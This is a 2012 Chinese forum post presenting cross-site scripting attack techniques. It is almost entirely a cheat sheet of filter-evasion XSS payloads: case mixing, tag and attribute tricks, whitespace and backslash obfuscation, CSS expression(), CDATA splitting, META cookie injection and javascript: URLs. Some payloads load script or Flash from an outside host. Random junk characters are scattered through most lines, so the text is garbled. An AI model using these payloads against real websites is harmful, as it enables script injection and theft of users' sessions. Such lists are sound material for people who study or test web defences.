找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2384|回复: 0
打印 上一主题 下一主题

Cross Site Scripting(XSS)攻击手法介绍

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:59:28 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1. 改变字符大小写! c7 I7 v* i& B3 u" c

! {1 g* }+ ?; y* n* ]6 r, x + V) y1 P4 {/ p5 ^4 y' \
5 ]2 W5 b/ k" a& }/ M
    <sCript>alert(‘d’)</scRipT>
% W. P* E0 g' M5 K7 J$ T& t7 u$ i- k, r7 O. a6 s
2. 利用多加一些其它字符来规避Regular Expression的检查
( t! J7 K9 ^! x  R  A6 {  e1 M/ w! m  T
    <<script>alert(‘c’)//<</script>
* |' K4 P6 X2 U3 V
% A9 `! k& ?! R7 C& Z* z    <SCRIPT a=">" SRC="t.js"></SCRIPT>" p. [$ }4 \  I4 b* N2 r: z4 t
5 q/ y8 m. H  n" A5 Z) V4 m6 j
    <SCRIPT =">" SRC="t.js"></SCRIPT>$ [9 J( s3 D% F9 ?8 @6 p$ P3 \2 r
3 M! @7 R: @( B; Q& T! }) c
    <SCRIPT a=">" ” SRC="t.js"></SCRIPT>
4 o" }/ z+ D8 t1 q/ C/ i, b! f; R
    <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>; i; K/ O# d4 U' p9 ~& n, v( D  @- G7 i
7 f- @- }# b# O5 g1 h
    <SCRIPT a=`>` SRC="t.js"></SCRIPT>+ j* ^! n1 e9 B* M) l
! @3 Z/ `. M' w5 U4 f3 ?
    <SCRIPT a=">’>" SRC="t.js"></SCRIPT>- o3 F# N! N. T

  J" o$ x0 E8 S2 p4 ^3. 以其它扩展名取代.js: r: r8 u1 s0 F
. h- ?* L1 l1 E0 |5 l+ s- G1 K5 n
    <script src="bad.jpg"></script>& V& e: [! \5 g
% a% }" ]% o& S0 B2 W
4. 将Javascript写在CSS档里
7 R3 ], d0 V0 n1 k
& w$ i  n( m0 m$ P4 |' [    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">: r! V. `" i1 o% N7 e- d* L- t

: h# @% \0 G% f$ a/ }# D* E       example:+ K# \7 B" m, u5 L; J+ b0 \

+ E3 f( P9 ~1 U( ^: Y          body {
. ~1 a6 I6 g2 r/ w8 e2 v4 \6 [
- z; A% r0 S( d  Q1 E               background-image: url(‘javascript:alert("XSS");’). U/ g6 i9 a5 G1 O
' t- a9 [& y( G! B) B
          }
" O5 r3 z8 H( m7 K6 x' ^- l+ |% n+ E1 M4 i+ Z6 b  U5 `5 }  y+ y) m
5. 在script的tag里加入一些其它字符
: y. R# X6 ~: h( T) Q* U1 ^% b  s9 p
5 {7 u& g5 r. ~2 J6 |    <SCRIPT/SRC="t.js"></SCRIPT>) \8 y7 }3 O- U/ y

% R3 z" y4 ~* @6 N" U- d    <SCRIPT/anyword SRC="t.js"></SCRIPT>
9 ]+ ?2 S9 Z1 C7 ~
9 N: d) A3 \2 L6. 使用tab或是new line来规避
3 j6 W& k; i% A& }% l# f/ ~, H0 X' a& \+ d
    <img src="jav ascr ipt:alert(‘XSS3′)">
7 ]7 [; a2 [% f' [6 H) L! i  f  E% s+ I0 O: d
    <img src="jav ascr ipt:alert(‘XSS3′)">
) a! S* {& s" K$ s5 U* {+ U1 M) q7 S, z9 [. Q+ |
    <IMG SRC="jav ascript:alert(‘XSS’);">( k. M4 m3 o* z4 u; N+ C
3 t$ B4 H& e) s
         -> tag. o" a0 p. m; J4 R+ O! Z& a1 _
3 T5 u: ?& I$ n& D$ G
         -> new line
% Z! \% x8 S+ G' y4 _( V. i  h# E" j: a6 v: T5 e' I
7. 使用"\"来规避* b: k' }6 v! P' q

5 f) H& [2 t  B. L( e7 [    <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
' W/ A0 u! f" H9 d) \0 P, a8 J  i# {- H! }
    <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>; A  F8 g; G  F' h3 N
4 o2 r5 G: S& S
    <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">  r$ A$ d9 N; Z1 w" s$ t7 J- \
8 c- W: e! o  S; \9 P  f
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">6 A  L$ [0 z0 f% y

" Z" E/ O1 ~! L7 _; ]    <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>
/ S. ?* ]& E6 @  z. {7 j& x6 g& V5 u) G' O  G% q  U
8. 使用Hex encode来规避(也可能会把";"拿掉)
3 A' R) D; Y, j" m1 r' W. [9 s$ }4 A7 Z
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
: ^0 a8 B- X, l* v. N. B, X# i" b3 `5 a2 \; W5 k
        原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
' F6 f1 w4 w# x( ?7 A
- Q0 h( Y5 V" J$ b! u    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">3 L+ @& B8 x/ S) M$ H* x
( n% [# q. d8 ^- W, p
        原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">$ H2 a0 X; _1 G" L

8 m1 L# ~2 ?/ R# G7 i: P2 ~9. script in HTML tag
( \1 m* Z5 Q) L, @& R1 N
1 T. o: U5 P3 h4 R    <body onload=」alert(‘onload’)」>! I1 ~7 o2 i5 s. K1 h
( e8 @5 V2 c" B' Q8 R7 c
        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload. b/ C2 \1 `+ s, p
& Q, c4 [) j! T% G% {  ~
10. 在swf里含有xss的code  b" F. A1 A  |& y6 C& G! L2 X5 l

  m. g/ L- d3 {3 b" c    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
% s3 C) R4 h3 G8 B' W+ R: E2 D; ]- k* a  ?5 V( i% ]
11. 利用CDATA将xss的code拆开,再组合起来。/ Z6 N. t6 |+ [- a" r) p8 C

4 J* [$ ^9 H5 G% R# C# m    <XML ID=I><X><C>
" c5 y- ~* p: H% N. E2 e! l8 T0 b& L2 W7 W3 H6 w1 X* l8 R4 Z
    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
4 |) X" a/ W; Y+ G" f
9 H4 r0 m5 s' j4 ]* o  Q# b. S0 I; B    </C></X>
# x: J% Z6 B8 l( I
6 s% r+ {. A( R# _# ~! Y    </xml>
, {/ N0 |. J( o9 ]; Z4 \3 E( t$ F
/ m/ v+ V& G; D, R7 Y3 i    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
) y* X; x4 O7 n4 B7 y! l8 G
, B" @) v3 ^9 f. [# S: o/ B    <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>. c7 g) J8 d% ?8 V# a6 D

* S4 b4 N  K! d9 R% Y    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
$ x8 X" Q+ f2 T' j9 {" Q
. B) A% Y! }$ x5 \# a$ n12. 利用HTML+TIME。
+ ~. n3 c$ i  i1 _0 Z$ v$ I' q) p: e' |& u
    <HTML><BODY>
  O0 F  b2 H+ ?$ s0 x
1 P) ~/ f2 }; D. _7 Z9 O0 c    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
% ~  ^- f) e$ t2 L2 T2 _, `7 x4 u. Y6 t4 Z9 t0 ^- X( W
    <?import namespace="t" implementation="#default#time2">' e. I* t8 x4 T
: A( I6 j. d# f$ s
    <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
, g* D1 Q  j- l& s! W4 _  }8 q$ a0 t; }! v: B5 h% }4 s
    </BODY></HTML>1 H$ g9 J& d% w) D9 M+ n

3 X& `, f3 T- R( Y, v3 I# f13. 透过META写入Cookie。
0 k( {1 P4 {' o: y: X2 ^  E
, {7 V' F8 m8 d& R/ q& n, M- F    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">% q6 g4 u+ k$ @: ~; }5 g
/ [1 i8 {# ]; F* O9 t
14. javascript in src , href , url
+ Z& s/ ^9 ^2 C: _3 E9 c& u5 |) V6 q6 ]9 O
    <IFRAME SRC=javascript:alert(’13′)></IFRAME>
0 M- P: k" l, x5 [" {6 u( d$ |' I0 A9 K3 {! V7 E2 v2 p0 b0 A8 d
    <img src="javascript:alert(‘XSS3′)">
6 P6 z0 Y. _* l% y& y8 G
8 R2 N' U0 c' n<IMG DYNSRC="javascript:alert(‘XSS20′)">9 n$ {, C( Y; t6 \: @" y4 ]
9 V- C) I& V4 m3 t
    <IMG LOWSRC="javascript:alert(‘XSS21′)">, Z4 N) {+ X' q0 J
9 t: x3 Z  G. g4 [$ N
    <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">3 g3 N( w- S+ T9 c4 N3 W
7 ?& ~) C0 |& M9 I5 g+ o! s
    <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>$ X- v: `% p% S
1 C8 z" a2 ]7 ~# X- k" r/ G) x
    <TABLE BACKGROUND="javascript:alert(‘XSS29′)">$ S% W9 z: ]3 E0 }1 j0 }- G
+ }) S! C# s8 ?* g9 ^: B6 ~. j
    <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">
9 y7 W' c6 }0 }. P  ^$ i! P
  b  R8 C$ G4 \( H: H; T. w" F* o6 T    <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}" e5 c" Y' d- P

( O( `2 A& D5 E    </STYLE><A CLASS=XSS></A>, h) \, g! T$ i" T" q

$ p3 K, J# R- {1 J. @    <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>3 Y0 z4 D1 o. W* a( ~

' ~; s  x- d: P
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表